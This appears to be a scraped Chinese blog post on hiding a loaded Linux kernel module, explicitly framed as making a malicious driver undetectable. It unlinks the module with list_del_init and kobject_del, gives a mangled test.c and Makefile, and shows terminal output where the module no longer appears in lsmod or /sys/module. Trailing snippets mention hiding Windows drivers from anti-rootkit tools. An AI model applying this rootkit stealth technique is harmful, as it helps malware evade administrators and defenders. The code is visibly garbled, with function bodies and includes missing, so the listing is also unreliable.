Linux 隱藏驅動模組

2021-10-24 12:29:37 字數 1767 閱讀 8119

作為惡意驅動,肯定是希望自己模組載入之後不會被發現,那麼就需要對安裝的驅動模組進行隱藏,在驅動初始化入口進行摘鏈,kobject_del()函式刪除當前模組的kobject就可以起到在 lsmod 和 /sys/module中隱藏。

list_del_init

(&__this_module.list)

;

test.c

#include

module_license

("gpl");

module_author

("curtis li");

/*作者*/

module_description

("hello");

module_version

("1.0");

//版本號

static

inthello_init

(void

)static

void

hello_exit

(void

)module_init

(hello_init)

;module_exit

(hello_exit)

;

makefile:

config_module_sig=n

ifeq ($(kernelrelease),)

roots_dir =

/root/

#核心原始碼路徑,不同環境可能會不一樣,核心原始碼一定要先編譯

kernel_dir =

/lib/modules/$(shell uname -r)

/build

cur_dir = $(shell pwd)

all:

make -c $(kernel_dir) m=$(cur_dir) modules

clean :

make -c $(kernel_dir) m=$(cur_dir) clean

install:

insmod test.ko

uninstall:

rmmod test

else

#用於指定到底編譯的是哪個**--hello.c

obj-m +

= test.o

#obj-m += math.o

endif

驅動載入之後,可以使用lsmod去查詢驅動是否安裝成功,ko名就是安裝之後的模組名

curtis@curtis-virtual-machine:

~/desktop/test$ lsmod | grep test

curtis@curtis-virtual-machine:

~/desktop/test$

lsmod命令和相對應的檢視/proc/modules以外,還可以通過檢視/sys/module/目錄來發現現有的模組

curtis@curtis-virtual-machine:

~/desktop/test$ ls

makefile modules.order module.symvers test.c test.ko test.mod test.mod.c test.mod.o test.o

curtis@curtis-virtual-machine:

~/desktop/test$ ls /sys/module/

| grep test

隱藏驅動模組 原始碼

xp親測有效,使用我們自己編寫的列舉驅動模組會看不到。列舉驅動模組請看文章 但是使用ark工具依然能看到我們隱藏的驅動某塊,比如kernel detective 和pchunter 但是隱藏的驅動模組為紅色,意為ark工具檢測到了該模組進行了隱藏 include typedef unsigned l...

Linux驅動模組基礎

1 模組載入函式 linux核心模組載入函式一般以 init標識宣告,典型的模組載入函式的形式如下 static int init initialization function void module init initialization function 模組載入函式必須以 module in...

Linux驅動 模組通訊

編寫模組通訊例項 模組add sub提供add integer 加法與sub integer 減法函式,模組test呼叫函式完成操作。分別對兩模組建立兩個資料夾,編寫對應的.c與makefile檔案,add sub.h在add sub模組資料夾內,分別make編譯成功。遇到的問題 1.insmod ...